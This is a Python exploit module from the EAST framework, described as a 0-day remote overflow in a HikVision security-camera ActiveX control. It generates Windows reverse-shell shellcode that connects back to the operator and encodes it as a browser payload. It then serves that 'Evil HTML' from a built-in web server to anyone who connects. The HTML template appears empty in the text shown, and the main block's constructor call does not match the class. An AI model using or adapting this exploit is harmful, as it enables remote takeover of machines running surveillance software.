#!/usr/bin/env python
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
# visit eastfw.com eastexploits.com for more info
import sys
import re
import os
import socket
import random
import string
from struct import pack
sys.path.append("./core")
from Sploit import Sploit
sys.path.append("./shellcodes")
from Shellcodes import OSShellcodes
INFO={}
INFO['NAME']="efa_HikVision_Security_Systems_activex"
INFO['DESCRIPTION']="HikVision Security Systems activex Remote Overflow"
INFO['VENDOR']="http://www.hikvision.com/us/Tools_84.html"
INFO["CVE Name"]="0-day"
INFO["NOTES"]="""
Exploit-db.com information:
# Exploit Title: HikVision Security Systems ActiveX exploit designed for EAST framework
# Google Dork: none
# Date: 19 October 2016
# Exploit Author: EAST framework development team. Yuriy Gurkin
# Vendor Homepage: http://www.hikvision.com/us
# Software Link: http://www.hikvision.com/us/Tools_84.html client software
# Version: v2.5.0.5
# Tested on: Windows XP, 7
# CVE : 0day
General information:
Loaded File: C:\temp\WEBCAM~1\HIKVIS~1\NETVID~1.OCX
Name: NETVIDEOACTIVEX23Lib
Lib GUID: {99F388E9-F788-41D5-A103-8F4961539F88}
Version: 1.0
Lib Classes: 1
Class NetVideoActiveX23
GUID: {CAFCF48D-8E34-4490-8154-026191D73924}
Number of Interfaces: 1
Default Interface: _DNetVideoActiveX23
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
"""
INFO['CHANGELOG']="13 Jan, 2016. Written by Gleg team."
INFO['PATH'] = "Exploits/"
PROPERTY = {}
PROPERTY['DESCRIPTION'] = "ActiveX 0-day"
PROPERTY['MODULE_TYPE'] = "Scada"
# Must be in every module, to be set by framework
OPTIONS = {}
OPTIONS["CONNECTBACK_PORT"] = "8089"
class exploit(Sploit):
def __init__(self,
port=8089,
logger=None):
Sploit.__init__(self,logger=logger)
self.port = port
self.state = "running"
return
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.port = int(self.args.get('CONNECTBACK_PORT', self.port))
return
def create_shellcode(self):
self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname())
if self.args['listener']:
shellcode_type = 'reverse'
port = int(self.args['listener']['PORT'])
else:
port = 9999
shellcode_type = 'command'
self.CONNECTBACK_PORT = port
os_system = os_target = 'WINDOWS'
os_arch = '32bit'
s = OSShellcodes(os_target,
os_arch,
self.CONNECTBACK_IP,
self.CONNECTBACK_PORT)
s.TIMESTAMP = 'codesys'
shellcode = s.create_shellcode(
shellcode_type,
encode=0,
debug=1
)
return shellcode
def make_data(self, shellcode):
filedata="""
"""
if len(shellcode)%2:
shellcode="\x90"+shellcode
shell="unescape(\""
i = 0
while i < len(shellcode):
shell += "%u"+"%02X%02X" %(ord(shellcode[i+1]),ord(shellcode[i]))
i += 2
shell += "\")"
filedata = filedata.replace("", shell)
return filedata
def run(self):
self.args()
self.log("Generating shellcode")
shellcode = self.create_shellcode()
if not shellcode:
self.log("Something goes wrong")
return 0
self.log("Generate Evil HTML")
html = self.make_data(shellcode)
self.log("Done")
self.log("Starting web server")
ip_server = "0.0.0.0"
crlf = "\r\n"
response = "HTTP/1.1 200 OK" + crlf
response += "Content-Type: text/html" + crlf
response += "Connection: close" + crlf
response += "Server: Apache" + crlf
response += "Content-Length: " + str(len(html))
response += crlf + crlf + html + crlf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = (ip_server, 8089)
s.bind(server)
s.listen(1)
while True:
try:
connection, client_address = s.accept()
data = connection.recv(2048)
self.log("Got request, sending payload")
connection.send(response)
self.log("exploit send")
connection.close()
except:
print("EXCEPT")
self.log('All done')
self.finish(True)
return 1
if __name__ == '__main__':
"""
By now we only have the tool
mode for exploit..
Later we would have
standalone mode also.
"""
print "Running exploit %s .. " % INFO['NAME']
e = exploit("192.168.0.1",80)
e.run()